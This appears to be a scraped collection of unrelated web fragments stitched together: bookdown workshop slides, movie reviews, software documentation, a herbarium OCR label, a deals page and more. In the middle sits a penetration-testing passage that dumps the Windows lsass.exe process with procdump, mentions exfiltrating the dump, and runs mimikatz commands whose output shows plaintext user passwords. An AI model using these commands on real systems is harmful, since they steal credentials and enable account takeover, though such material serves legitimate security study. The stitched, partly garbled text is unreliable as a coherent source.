class: center, middle, inverse, title-slide # An interactive crash course in
bookdown
## Prepared for Iowa State Graphics Group
Follow along:
bit.ly/isu-gg-9-28
### Sam Tyner ### 2018/09/28 --- # Outline 1. Why `bookdown`? 2. What does `bookdown` assume about you? 3. Tricky little bits 4. LaTeX vs. `bookdown` 5. Your first book with `bookdown` --- # Why `bookdown`? In the author's [own words](https://slides.yihui.name/2017-rmarkdown-UNL-Yihui-Xie.html#4), books should be: - easy to write - cheap - dynamic - quickly edited & re-released - authored by a few people, edited/reviewed/contributed to by many --- class: inverse, center # What does `bookdown` assume about you? ![](https://media.giphy.com/media/l1J9yApnGts8EXYoo/giphy.gif) --- # R/RStudio `bookdown` assumes you know how to use R, including - how to install packages - how to put code chunks in a .Rmd file - how to render plots from R code in a .Rmd file Working knowledge of / a desire to use RStudio is not necessary but is exceedingly helpful. If you're seeing this, I assume you have this minimal working knowledge of R/RStudio. --- # Markdown `bookdown` assumes you are comfortable writing in Markdown, including - headers - tables - font formatting (*italics*, **bold**, etc.) Luckily, this is not hard to learn. See the [R Markdown Reference Guide](https://www.rstudio.com/wp-content/uploads/2015/03/rmarkdown-reference.pdf) or the [cheat sheet](https://github.com/rstudio/cheatsheets/raw/master/rmarkdown-2.0.pdf) --- # `bibtex` `bookdown` assumes you know how to work with .bib files, including: - You know what bibliography style you want - You understand inline citations - You understand the structure of entries in a .bib file See this [user guide](https://www.economics.utoronto.ca/osborne/latex/BIBTEX.HTM) and this [fill-in-the-blank](https://truben.no/latex/bibtex/) Bibtex editor --- # LaTeX Math `bookdown` assumes you know how to write math things (equations, formulae, etc.) with LaTeX ![This is your brain on LaTeX](https://media.giphy.com/media/a9uGhT7WoO0p2/giphy.gif) Here's the [Wikibook](https://en.wikibooks.org/wiki/LaTeX/Mathematics) for LaTeX. Good luck. If you're seeing this, I assume you're familiar with the not-so-gentle giant that is LaTeX --- class: inverse, center # Tricky Bits ![How you doin'?](https://media.giphy.com/media/3oriNNm0VCA73UhVbq/giphy.gif) --- # Math mode For `displaymath`, sometimes you need to enter mathmode (via `$$`...`$$` or `\(`...`\)`), and sometimes you don't... - If the math expression creates something in `displaymath` (e.g. `equation`, `eqnarray`, `align`), don't put it in math mode - Otherwise, it needs mathmode (e.g. `matrix`, `array`, etc.) .pull-left[ Need math mode: `$$a^2 + b^2 = c^2$$` `$$a^2 + b^2 = c^2$$` ] .pull-right[ Don't need math mode: \begin{equation} a^2 + b^2 = c^2 \end{equation} `\begin{equation} a^2 + b^2 = c^2 \end{equation} ] --- # Inserting images Can do `![caption](path)` like in usual .Rmd things, but (AFAIK): - Figure numbering is hard (or impossible) - "" referencing "" - "" alignment "" Instead, do `knitr::include_graphics()` inside an R code chunk. Why? -- - Figure naming, referencing, and numbering included "for free" (`fig:chunkname`) - Can control size, alginment, etc. very easily --- # Inserting images .pull-left[ ```` ```r knitr::include_graphics("otrii.png") ``` ```` with code chunk options: `{r bey, fig.height=2,fig.align='center', fig.cap = "Beyonce", echo=FALSE}` ] .pull-right[

Beyonce

 ] --- # Inserting tables Again, can do it in the [usual markdown way](https://github.com/adam-p/markdown-here/wiki/Markdown-Cheatsheet#tables), but (AFAIK): - Table numbering is hard (or impossible) - "" captions "" - "" referencing "" - "" alignment "" Instead, do `knitr::kable()` inside an R code chunk. Why? -- - Table naming, referencing, and numbering included "for free" (`tab:chunkname`) - `caption` is an argument in the function - Get all the other "good stuff" from LaTeX/`xtable`. e.g. `digits`, `longtable`, etc. --- # Inserting tables ```r knitr::kable(head(mtcars), caption="mtcars data") ``` With chunk options `{results='asis'}` gives:

mtcars data

  	  mpg 	  cyl 	  disp 	  hp 	  drat 	  wt 	  qsec 	  vs 	  am 	  gear 	  carb

  Mazda RX4 	  21.0 	  6 	  160 	  110 	  3.90 	  2.620 	  16.46 	  0 	  1 	  4 	  4

  Mazda RX4 Wag 	  21.0 	  6 	  160 	  110 	  3.90 	  2.875 	  17.02 	  0 	  1 	  4 	  4

  Datsun 710 	  22.8 	  4 	  108 	  93 	  3.85 	  2.320 	  18.61 	  1 	  1 	  4 	  1

  Hornet 4 Drive 	  21.4 	  6 	  258 	  110 	  3.08 	  3.215 	  19.44 	  1 	  0 	  3 	  1

  Hornet Sportabout 	  18.7 	  8 	  360 	  175 	  3.15 	  3.440 	  17.02 	  0 	  0 	  3 	  2

  Valiant 	  18.1 	  6 	  225 	  105 	  2.76 	  3.460 	  20.22 	  1 	  0 	  3 	  1

 --- class: inverse, center # LaTeX v. `bookdown` ![](bookdown-rap-battle.gif) --- # References & Citations Difference between using LaTeX (left) and using `bookdown` (right) for references: .pull-left[ - Label sections with `\label{section-label}` after `\section{Section name}`. Refer to them with `\ref{section` `-label}`. - Inline citations with `\citet{biblabel}`, `\citep{biblabel}` - Figure/table references with `\ref{fig-` `or-tab-label}` - Label equations with `\label{eqnname}` after `begin{equation}`. Refer to them with `\ref{eqn` `name}`. ] .pull-right[ - Label sections with `{#section-label}` after `## Section name`. Refer to them with `\@ref(label)` - Inline citations with `@biblabel`, `[@biblabel]` - Figure/table references with `\@ref(fig:figlabel)` / `\@ref(tab:tablabel)`. `figlabel` and `tablabel` should be the code chunk names - Label equations with `(\#eq:eqnname)` the line above `\end{equation}`. Refer to them with `\@ref(eq:eqnname)` ] --- # Theorems, Proofs, etc. Difference between using LaTeX (left) and using `bookdown` (right) for different [text environments](https://bookdown.org/yihui/bookdown/markdown-extensions-by-bookdown.html#theorems): .pull-left[ - Use `\begin{}` `\end{}` for `theorem`, `proof`, `definition`, etc. - Label and reference them with `\label{` `thmname}` and `\ref{` `thmname}` ] .pull-right[ - Use "code chunks" : ```` ```'{theorem, name="theorem name", label="lab"} ``` ```` - Label them with `label="lab"` and reference them with `\@ref(prefix:label)` where `prefix` is one of `thm`, `lem`, [etc.](https://bookdown.org/yihui/bookdown/markdown-extensions-by-bookdown.html#theorems) ] --- # Customization .pull-left[ In LaTeX, create custom formats with: - `\newcommand{` `}` - `\renewcommand{` `}` - `\newenvironment{` `}` ] .pull-right[ In `bookdown`, create [custom formats](https://bookdown.org/yihui/bookdown/custom-blocks.html) with: - `{block}` environment + custom [CSS](https://github.com/rstudio/bookdown/blob/master/inst/examples/css/style.css) styles - Similar to the way `{theorem}` works ] --- # Other random fun `bookdown` facts ...that I discovered while writing these slides 1. Part and Appendix [headers](https://bookdown.org/yihui/bookdown/markdown-extensions-by-bookdown.html#special-headers) for separating different groups of chapters 2. Text [references](https://bookdown.org/yihui/bookdown/markdown-extensions-by-bookdown.html#text-references) to save your sanity when writing figure/table captions 3. You can [embed whole webpages](https://bookdown.org/yihui/bookdown/web-pages-and-shiny-apps.html) in online books written with `bookdown`. (i.e. for `shiny` apps) ![](https://media.giphy.com/media/l0IypeKl9NJhPFMrK/giphy.gif) --- class: inverse, center # Your first book with `bookdown` ![](https://media.giphy.com/media/wCiFka9RsSW9W/giphy.gif) --- # Your first book repo If you have a Github.com account, 1. Log in. 2. Fork a copy of https://github.com/iastat/isu-thesis 3. Clone the forked repo to your computer If you have git but not Github, 1. Go to https://github.com/iastat/isu-thesis 2. Click "clone or download", & copy the URL. 3. Clone the repo on your computer using `git clone` If you have neither git nor Github, 1. Go to https://github.com/iastat/isu-thesis 2. Click "clone or download" 3. Click "Dowload zip" Open the `index.Rmd` file in RStudio. --- class: center, middle # Congrats! You've just taken a very important step in writing your thesis! ![](https://media.giphy.com/media/l0Iy6RfxFjVqP8NQQ/giphy.gif) --- # Full disclosure I did NOT write my thesis in bookdown. I had a lot of stuff in .Rnw files already, and was not willing/able to convert everything over to .Rmd at the time when `bookdown` was picking up speed. So, if you want to use bookdown (and I think you should), just know that I'm not the *best* source for troubleshooting. ![](https://i.gifer.com/2MI1.gif) --- # Important points - File structure: getting and keeping files organized is just about as important as doing the actual work. If you can't find it, did you even do it? - Think about some other folders you might need: data, code, images, raw-data, etc. - Anything with "isu" in the filename came directly from the grad college. Don't edit these files (unless you REALLY know what you're doing). - There's also no need to change anything in _config.yml (again, unless you REALLY know what you're doing.) - Trial and error. When something doesn't work, just keep trying different things and doing new google searches. ![](https://media.giphy.com/media/ml3A3OWN3sT1S/giphy.gif) --- # Getting started Open index.Rmd. 1. Fill in your name 2. Fill in your major professor (if applicable) 3. Fill in your committee (if applicable) 4. Create a cool-sounding, impermanent title. 5. In the "Build" tab in RStudio, click "Build Book." --- # Keep going Play around for a little bit. I'll go around and answer questions. Some things you could try: - Create a new chapter (see _bookdown.yml for a hint of how to do this) - Insert R code & a plot - Insert an image - Write the dedication (preface/dedication.tex) --- # Conclusion - If you want to do a book/thesis in bookdown, it's worth sitting down and reading the bookdown book. - Covers stuff you probably didn't even think of (very true for me) - If you want bookdown's author to answer your questions, formatting them in the [optimal way](https://yihui.name/en/2018/05/github-issue-format/) will help your cause.


?\nv>
IMAGED
Herbarium
FAIRCHILD
TROPICAL
GARDEN
PLANTS
OF
BAHAMA
ISLANDS
Bumelia
salicifolia
(L.)
Sw.
Grand
Bahama:
edge
of
coppice
along
Settlers
Way
East
near
Balao
Road,
Freeport.
Tree
m
tall.
March
23,
1975
D.
S.
Correll
I|.!|.80^
MFW
YORK
BOTANICAL
GARDEN
01264079
01264079
Legend -
Level of confidence that token is an accurately-transcribed word
extremely low
very low
low
undetermined
medium
high
very high


Want to work with me, you just have to email me and I will contact you as soon as possible.
<EMAIL_ADDRESS>have been designing things when I was in my early childhood. Firstly enhancing the beauty of the paper by my sketches and art works. Then by colorifying the screens of this digital world. Design always fascinates me. It shows me how to recreate the beauty to imagine a new world. Well I believe that I can learn things very fast, but for now, I currently work with Adobe AfterEffects CC, Adobe Photoshop CC and for minor designing, Canva pretty confidently and in a very clean and creative manner.
Well, I always try to practically implement the knowledge I learn and When I think, I try to recreate the things in a more better way. That's how the real designing work, I guess, by beautifying the things we see.
Contacting me is not a big deal. Just fill-up the below form and it will show up to me. I am always eager to meet new people and develop a better relation with them, both personally and professionally. I hope we both enjoy and design this beautiful journey together.


But if your app claims to support most modern image formats and you don't support BMP, shame on you too. And if you're going to support it: why not support it well?
The BmpEncoder
and BmpDecoder
classes are designed with performance in mind. As of this writing this demo generates these results on my Mac laptop:
Decode BMP (Time):
| com.pump.image.bmp classes | 271 ms |
| javax.imageio.ImageIO classes | 2,163 ms |
| com.pump.image.bmp classes | 41.48 MB |
| javax.imageio.ImageIO classes | 42.58 MB |
| com.pump.image.bmp classes | 69 ms |
| javax.imageio.ImageIO classes | 1,092 ms |
| com.pump.image.bmp classes | .28 MB |
| javax.imageio.ImageIO classes | 32.20 MB |
This demo prepares an 800x600 image. Then it conducts two tests. Each sample of the test contains a loop that runs 30 times. The time it takes for that loop to execute and the memory allocated during that loop are recorded as one sample. We collect 10 samples and only report the median. (Garbage collection alone can introduce significant variability, but hopefully taking the median of 10 samples is sufficient to get a "typical" reading.)
BmpDecoder.readImage(InputStream)
or ImageIO.read(InputStream)
is used. (The resulting BufferedImage is immediately discarded.)
BmpEncoder.write(BufferedImage, OutputStream)
or ImageIO.write(BufferedImage, "bmp", OutputStream)
This is implemented using the com.pump.image.pixel.PixelIterator
architecture. One slick advantage this offers is: it can automagically scale incoming pixel data into a thumbnail really efficiently. This demo doesn't showcase that aspect, but all you have to do to activate this feature is call BmpDecoder.createThumbnail(InputStream, Dimension)
, where the Dimension is the maximum size of the thumbnail (for ex: 128x128).
By contrast the ImageIO documentation says its BMP support doesn't include thumbnails. (Search for "ImageReader.readerSupportsThumbnails()"). This means if you want to read a 1024x768 image into a a 100x75 pixel thumbnail: ImageIO will allocate at least 2.27 MB of RAM, and the BmpDecoder will allocate about 22 KB. And I can't quantify exactly how much faster the BmpDecoder will be, but if the current patterns hold you'll see a speed benefit too.
To be fair: we did rely on BMPs for one product. We found that file IO was fastest for BMPs, so we wrote cached images to the tmp folder as uncompressed BMPs. They read back so well we can read and render them on-the-fly without the user noticing. If the real litmus test of a decision is whether you'd repeat that decision: I'd definitely consider it if a future project presents a similar need. File IO isn't free (performance-wise), but it was faster than the compression overhead of JPGs or PNGs last we checked.


| Class | Description |
|---|---|
| AnimatedHumanLayer |
A view layer that animates human movements.
|
| AnimatedWorldModelViewer |
A viewer for StandardWorldModels.
|
| AreaLayer<E extends Area> |
A view layer that renders areas.
|
| AreaNeighboursLayer |
A view layer that renders area neighbours.
|
| BuildingIconLayer |
A view layer that renders building icons.
|
| BuildingLayer |
A view layer that renders buildings.
|
| CommandLayer |
A layer for viewing commands.
|
| HumanLayer |
A view layer that renders humans.
|
| PositionHistoryLayer |
A view layer that renders position history.
|
| RoadBlockageLayer |
A view layer that renders road blockages.
|
| RoadLayer |
A view layer that renders roads.
|
| StandardEntityViewLayer<T extends StandardEntity> |
An abstract base class for StandardWorldModel view layers that render standard entities.
|
| StandardViewLayer |
An abstract base class for StandardWorldModel view layers.
|
| StandardWorldModelViewer |
A viewer for StandardWorldModels.
|


(current)
Home
Campaigns
My Campaigns
Search Campaigns
Something else here
Create Campaign
Join With Code
My Account


About Me
My Name is Nathanael Robinson, I prefer to be called Nate. My pronouns are He/Him or They/Them. I am currently participating in a program called Year Up that offers professional and technical training for in demand careers. They offer a variety of tracks - I am studying in the software development and testing track. Recently I’ve completed a general associate’s degree, and after this program I am hoping to pursue a more specific associates and then my bachelors. I’m not 100% yet on an area of study but for sure something in design/illustration, engineering, or architecture.


Men in Black
Agent K TOMMY LEE JONES Agent J WILL SMITH Dr. Laurel Weaver LINDA FIORENTINO Edgar VINCENT D'ONOFRIO Agent Zed RIP TORN Jeebs TONY SHALHOUB Beatrice SIOBHAN FALLON
Directed by BARRY SONNENFELD
Imagine if you will, a few of the more colorful characters you've run across in your lifetime. Have you ever pondered their oddball idiosyncrasies thinking that maybe, just maybe this guy is too weird to be human? (Editorial note: I myself have often been the focus of such inquiry). Now along comes a movie that says such people are in fact, aliens in disguise and are right here, living among us.
`Men in Black' is an hour-and-half movie filled with satire and humor. Its setting in New York city is obviously not a randomly selected city, but the victim of much of the human/alien satire. And appropriately so. Apparently, earth has become refuge for aliens looking for honest work a place to live, and occasionally a planet where political refugees can find some degree of security.
The movie starts off with a man smuggling illegal aliens in a van going across the Mexican border. They're soon stopped and interrogated by the INS when the MiB show up and take over. It seems one of the people is coming from quite a bit farther than Baja. This individual is taken aside and interrogated by MiB agent named K (Tommy Lee Jones). As it turns out this `Mexican," who is wanted for violating seven intergalactic treaties, is really a "Coyame", a Samarium-based life form named Mikey.
At same time NYPD officer James Edwards (played by the amusingly hyperkinetic Will Smith) is hot pursuit of an agile criminal with the rather inhuman ability to leap off tall bridges unscathed, and climb up a building without the aid of a ladder, suction cups, spider-power, etc. Finally running him down, Edwards discovers that this particular criminal may not be all that he seems after seeing the guy blink his eyes the sideways.
The ever-resourceful K discovers Edward's running prowess and recruits him into the top-secret agency. So the fun begins.
MiB entertains most with its deadpan style of humor, aided especially by Jones' stone-faced line delivery. Few things are sacred in this movie, especially New York, the butt of much of the humor in this film. You cannot help but laugh at how casually K describes Earth being a haven for aliens, much like the movie `Casablanca' but without the Nazis. Or how the first alien contact was covered up by holding the World's Fair in New York, and that they are actually real flying saucers. `Why else would we hold it in Queens?' he asks. Even his stoic face is the subject of a couple of funny quips. Against expectations, most of the cab drivers in New York are in fact, human.
Smith chips in with his part as the energetic and impulsive rookie MiB agent with a street- savvy knack for figuring out who is and who isn't what they really seem. It seems living in NY City gave him a sixth sense to be able to pick out the truly weird. His antics dialogue is nothing really new from him, yet his talents and good writing manage to keep his character fresh and new and, most importantly, funny.
The cast is rounded with the always reliable Rip Torn as Zed, the gruff voice of experience who heads up the Men In Black Organization. Linda Fiorentino is the sultry mortician who has the misfortune to come across more than her share of weird corpses. Kudos, however, to Vincent D'Onofrio for playing Edgar the bug. Initially, he starts off as a redneck who gets his innards sucked out by an intergalactic roach that crash landed near his farm. This bug dons his skin as a disguise in an attempt to blend in with his surroundings, which, considering it's New York, how hard could it be? Apparently the Edgar skin is a rather ill-fitting one, not good considering the bug itself hasn't mastered the science of human kinesiology. This causes him to move around with spasms, facial expressions, and twitches that makes Michael Richards of `Seinfeld' fame seem like Lord of the Dance by comparison. D'Onofrio looks to have given his 110% into this role and saying he deserves Oscar consideration is not too far-fetched.
Other unexpected stars of the film are the myriad of aliens ranging from cute (the baby squid-being) to grotesque (the bug minus its Edgar suit) to far-out (the guy with the head that grows back). The equipment used by the MiB is very hi-tech and also not of this Earth, most used being the Neuralizer, which has the ability to selectively erase certain parts of one's memories. The only thing protecting the users are MiB-issue glasses, which evidently block the neuralizer's effects. ( Editorial note: I guess they don't call them "Ray-Bans" for nothing). Even their weapons are visually both stunning and ridiculous at the same time, especially the `Noisy Cricket' which provides yet another brief moment of humor.
The plot itself is workable despite having more holes than a body- piercing artist. The first hour of the movie contains the most amusement. The last forty-five minutes or so feel somewhat hurried; some things are left unexplained. It winds down to what is essentially a creatively done beat-the-clock countdown sequence with a high `I've been slimed factor.'
Then again, you don't go see `Men in Black' for some deep soul- searching plot or to see political propaganda. You see it for what it is, a light sci-fi comedy that ranks high on the laugh scale. You see it because Sonnenfeld is adept at creating a darkly comical, yet almost realistic atmosphere and because Mr. Jones and Mr. Smith fight the bad boys with a quick wit and spirited on-screen chemistry, as well as with attitudes and Series 4 De-Atomizers. Just don't forget to bring the Ray-bans.
(C) Dan-E :)
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


Makes output files from select PreSens Fiber Optic Oxygen Transmitters easier to work with in R. See <http://www.presens.de> for more information about PreSens (Precision Sensing GmbH). Note: this package is neither created nor maintained by PreSens.
| Version: | 2.1.0 |
| Imports: | marelac (≥ 2.1.4), measurements, stats, utils |
| Published: | 2016-07-29 |
| Author: | Matthew A. Birk |
| Maintainer: | Matthew A. Birk <matthewabirk at gmail.com> |
| License: | GPL-3 |
| NeedsCompilation: | no |
| Materials: | NEWS |
| CRAN checks: | presens results |
| Reference manual: | presens.pdf |
| Package source: | presens_2.1.0.tar.gz |
| Windows binaries: | r-devel: presens_2.1.0.zip, r-release: presens_2.1.0.zip, r-oldrel: presens_2.1.0.zip |
| OS X binaries: | r-release: presens_2.1.0.tgz, r-oldrel: presens_2.1.0.tgz |
| Old sources: | presens archive |
Please use the canonical form https://CRAN.R-project.org/package=presens to link to this page.


 This Joe Dante film is one of those. He made GREMLINS, which was one of my favorite movies as a kid, that featured a lot of cartoonish violence and mayhem. SMALL SOLDIERS features a lot more of the same, but with a weird mix of minimum believability and maximum plot convention and twisted violence. How many other movies can you see a toy soldier shoot several corn cob holders into a kid's leg?
Many of the scenes in SMALL SOLDIERS are the kind of thing you shouldn't push off as kids entertainment. The toys in this movie machine gun nails at people, make bombs out of household chemicals, lust after Barbie dolls and tie up small children, not to mention an adolescent protagonist who climbs a giant telephone pole and sticks a metal object between the transformers. For older kids, though, there's a lot to laugh at, both intentional and unintentional. The sick fantasy violence of killer toys would work as a horror movie for an older crowd, but it's too harsh to mix with the sickening sweetness that Dante throws at us. It doesn't take a rich Hollywood executive to see a bastard offspring of TOY STORY and CHILD'S PLAY isn't a brilliant idea.
It's an interesting premise, though. A toy company is bought out by a huge conglomerate, and the CEO (Denis Leary as Denis Leary) demands "toys that actually do what they do in the commercials." That means toys that bust out of their packaging, have artificial intelligence and wage war with their toy enemies. Faced with these demands, the designers (David Cross and Jay "I Think I Just Sold Out" Mohr) power their soldiers with a surplus military intelligence chip. Gee, that's not going to backfire on them, is it?
Meanwhile, there's that androgynous dork of an early teenager who always serves as the lead in movies like these. Here it's Gregory Smith as Alan, a so-called troublemaker who would actually get beaten up for his lunch money in real life. No such luck in the movies, where he manages to steal ex-vampire girl Kirsten Dunst away from her older jock boyfriend.
Alan's dad owns a small toy store that stocks goody-goody toys, not those fighting action figures that give kids bad role models. But when Dad goes out of town, Alan manages to talk the toy delivery guy (played by Mr. Futterman from GREMLINS, one of many inside jokes Dante includes -- Cross' password is "Gizmo") into giving him a few boxes of the new toys headed to a large chain store. The toys are divided into the Commando Elite and the Gorgonites, the former a war-loving bunch headed by the voice of Tommy Lee Jones and the latter a peaceful people. Both sets are programmed to be enemies, and the war begins shortly after Alan opens the shipment and leaves the store.
SMALL SOLDIERS has the plot elements you'd expect -- underdog Alan attracts Kirsten without question, Phil Hartman is a one-note jerk who is later proven wrong and no one believes Alan when he tries to explain away damage to his house and his dad's shop. Strangely, though, no one seems that much surprised to see themselves under seige by a bunch of toys. During the climactic final battle, when an army of toys surrounds a house, none of the neighbors think to alert the police to the noise of gunfire and explosions. The continued implausibility and the fact that the movie is too horrific for children and too juvenile for adults keeps SMALL SOLDIERS from living up to its claim of being a "big movie."
Visit the Movie Critic at Large homepage at http://www.missouri.edu/~c667778/movies.html
Close to 1,000 reviews with a comedic flair...
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


Enumerations
The following enumerations are available globally.
-
This enum encapsulates the errors that are possible from the SDK.
See moreDeclaration
Swift
public enum ITCB_Errors : Error
-
This enum encapsulates the reasons that a device communication may have been received, but rejected, on the other end.
See moreDeclaration
Swift
public enum ITCB_RejectionReason : Error


Amazon S3 Bucket Transition
Describes when an object transitions to a specified storage class for the Rule property.
Syntax
JSON
{ "StorageClass" :
String
, "TransitionDate" :String
, "TransitionInDays" :Integer
}
YAML
StorageClass:
String
TransitionDate:String
TransitionInDays:Integer
Properties
StorageClass
-
The storage class to which you want the object to transition, such as
GLACIER
. For valid values, see theStorageClass
request element of the PUT Bucket lifecycle action in the Amazon Simple Storage Service API Reference.Required: Yes
Type: String
TransitionDate
-
Indicates when objects are transitioned to the specified storage class. The date value must be in ISO 8601 format. The time is always midnight UTC.
Required: Conditional
Type: String
TransitionInDays
-
Indicates the number of days after creation when objects are transitioned to the specified storage class.
Required: Conditional
Type: Integer


parsExtractor
Parse HL7® messages and easily extract fields.
1. Select a file
Select file
2. Select fields to extract
First, select a file.
Please select which fields you would like to extract:
Do you want to
change your field selection
?
3. Extract
Extract
or
select a new file
?


Tajima's D is plotted across the most significant QTL genomic region of interest. Tajima's D suggests if a genomic region has an excess or paucity of rare variation. Values close to zero indicate that variation is drifting and not selected. Values less than zero suggest that rare variants are present, which could have arose during a selective sweep, population expansion after a bottleneck, or linkage to a swept allele. Values greater than zero suggest that balancing selection could have occurred or recent population contractions.


Nationwide Deals
-
Picaboo
Customized 20-Page Hardcover Photo Book
$40$10 View deal -
Canvas People
Personalized Canvas Print
$85$25 View deal -
Hydros Bottle
Filtering Water Bottle
$28$14 View deal -
1800Flowers.com
$30 to Spend on Flowers
$30$15 View deal -
MakeMeChic.com
$50 to Spend on Clothing and Accessories
$50$25 View deal -
Pig of the Month BBQ
$50 to Spend on Barbecue Meats, Sauces, and More
$50$25 View deal -
Incase
$50 to Spend on iPhone and MacBook Accessories
$50$25 View deal -
USO
Care Package or Other Morale Efforts for US Troops
$50$25 View deal -
Bonnier Corporation
Two-Year Magazine Subscription
$20$10 View deal


What's your current location?
{{weather.selectedForecast.weather[0].main}}
{{weather.selectedForecast.weather[0].description}}
Forecasts
{{forecast.weather[0].description}}
{{forecast.dt * 1000 | fromNow}}


# Don't forget to use "-accepteula" to avoid any pesky popups. If run on a 64-bit OS you have to add the
"-64" flag to the command below.
C:\Users\Fubar\Desktop\Sysinternals> procdump.exe -accepteula -ma lsass.exe lsass.dmp
ProcDump v7.1 - Writes process dump files
Copyright (C) 2009-2014 Mark Russinovich
Sysinternals - www.sysinternals.com
With contributions from Andrew Richards
[23:42:36] Dump 1 initiated: C:\Users\Fubar\Desktop\Sysinternals\lsass.dmp
[23:42:37] Dump 1 writing: Estimated dump file size is 28 MB.
[23:42:38] Dump 1 complete: 28 MB written in 1.5 seconds
[23:42:38] Dump count reached.
After the dump has been created we can remove the ProcDump executable and exfiltrate the LSASS minidump to our local machine. Once we have the minidump on our local machine we can run mimikatz and extract the credentials. For this to work, we need to make sure that we run mimikatz (locally) on the same architecture as the target machine. Benjamin Delpy has created a useful chart to show compatibility between the target and the local host.
C:\Users\Fubar\Desktop\Mimikatz\x32> mimikatz.exe
.#####. mimikatz 2.0 alpha (x86) release "Kiwi en C" (Sep 1 2014 01:09:47)
.## ^ ##.
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi`<EMAIL_ADDRESS>)
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 14 modules * * */
mimikatz# sekurlsa::minidump C:\Users\Fubar\Desktop\lsass.dmp
Switch to MINIDUMP : 'C:\Users\Fubar\Desktop\lsass.dmp'
mimikatz# sekurlsa::tspkg
Authentication Id : 0 ; 1243450 (00000000:0012f93a)
Session : Interactive from 0
User Name : user1
Domain : Win7-Testbed
SID : S-1-5-21-2436999474-2994553960-2820488997-1003
tspkg :
* Username : user1
* Domain : Win7-Testbed
* Password : imsosecurew00tw00t666#@
Authentication Id : 0 ; 291143 (00000000:00047147)
Session : Interactive from 1
User Name : Fubar
Domain : Win7-Testbed
SID : S-1-5-21-2436999474-2994553960-2820488997-1001
tspkg :
* Username : Fubar
* Domain : Win7-Testbed
* Password : password123!
Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
SID : S-1-5-19
tspkg :
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : WIN7-TESTBED$
Domain : WORKGROUP
SID : S-1-5-20
tspkg :
Keep in mind that you can only recover credentials for users who have an active session on the target.


In 1999, a Dublin hostel owner was frustrated with how hard it was to book an affordable place online, and so he started Hostelworld. From that simple beginning it grew across the last 18 years to become the premier way to travel for less and make lifelong friends along the way. Today Hostelworld, with offices in Dublin, London, Shanghai, Sydney, South Korea, and opening soon in Porto, is a dynamic and engaging place to work. With a youthful and diverse group of colleagues made up of over 30 different nationalities there’s no shortage of personality, so life here is never dull. We are all about making the world a more accessible place and encourage people to get out there and meet it in person; a philosophy underpinned by our Meet the World brand promise. The success of today’s Hostelworld lies in our leading technologies, modern design as well as the passion we have for improving our product for our varied community every single day. We are incredibly proud of what we have achieved, including being officially recognised by the Great Place To Work Institute as a Best Workplace for 2016 and 2017, but we also know that the best and most ambitious part of our journey is yet to come.
Philip Bannon – Location Manager @ Hostelworld Philip Bannon born and raised in Dublin Ireland. Studied and obtained a Computer Science Degree from Griffith College Dublin in 2003. Passionate about all things Tech, he has been working in IT since the age of 14. Throughout his time he has worked with some of the highest profiled tech companies such as Microsoft, Twitter, T-Mobile, Verizon, Facebook and BlackBerry. Working across varying disciplines from writing device drivers, Java performance optimizations to creating automation frameworks. For the past 5 years of his career, Philip has been working at the Hostelworld Group where he is now Location Manager for the Porto Office.


Video Metadata & Thumbnails
Convenience method(or Video object) to get metadata and thumbnails of HTML5 video Blob.
Option
quality
interval
scale
start
end
File
Choose file...
Loading...


The majority of pupils who are working at level 3 or above must take the levels 3-5 tests in the year they complete the key stage 2 programme of study. There are some exceptions where headteacher’s may use their discretion. This information will help you decide whether it’s appropriate for specific pupils to sit the tests.


Before Change
//this one is needed to be able make {% url work} TODO: having two identical regexes here seems stinky.. can this be different?
url(r"^site/(?P<site_short_name>\w+)/$","comicsite.views.site"),
url(r"^site/(?P<site_short_name>\w+)/(?P<page_title>\w+)/$","comicsite.views.page"),
url(r"^test/showData/$","comicsite.views.dataPage"),
After Change
// Uncomment the next line to enable the admin:
url(r"^admin/", include(admin.site.urls)),
url(r"^site/",include("comicsite.urls")),
// requirement for social_auth


rtc-media
Simple getUserMedia cross-browser wrappers. Part of the rtc.io suite, which is sponsored by NICTA and released under an Apache 2.0 license.
Example Usage
Capturing media on your machine is as simple as:
require('rtc-media')();
While this will in fact start the user media capture process, it won't do anything with it. Lets take a look at a more realistic example:
// require the media capture helper from rtc.io
var media = require('rtc-media');
// capture video and render it to the document body
media().render(document.body);
In the code above, we are creating a new instance of our userMedia wrapper
using the media()
call and then telling it to render to the
document.body
once video starts streaming. We can further expand the
code out to the following to aid our understanding of what is going on:
var Media = require('rtc-media');
var userMedia = new Media({ start: true });
userMedia.render(document.body);
The code above is written in a more traditional JS style, but feel free to use the first style as it's quite safe (thanks to some checks in the code).
Events
Once a media object has been created, it will provide a number of events through the standard node EventEmitter API.
capture
The capture
event is triggered once the requested media stream has
been captured by the browser.
var media = require('rtc-media');
var localMedia = require('rtc-media')();
localMedia.render(document.body);
localMedia.once('capture', function(stream) {
// stream references underlying media stream that was captured
console.log('capture complete');
});
render
The render
event is triggered once the stream has been rendered
to the any supplied (or created) video elements.
While it might seem a little confusing that when the render
event
fires that it returns an array of elements rather than a single element
(which is what is provided when calling the render
method).
This occurs because it is completely valid to render a single captured
media stream to multiple media elements on a page. The render
event
is reporting once the render operation has completed for all targets that
have been registered with the capture stream.
Reference
media
media(opts?)
Capture media using the underlying getUserMedia API.
The function accepts a single argument which can be either be:
- a. An options object (see below), or;
- b. An existing MediaStream that the media object will bind to and provide you some DOM helpers for.
The function supports the following options:
capture
- Whether capture should be initiated automatically. Defaults to true, but toggled to false automatically if an existing stream is provided.muted
- Whether the video element created for this stream should be muted. Default is true but is set to false when an existing stream is passed.constraints
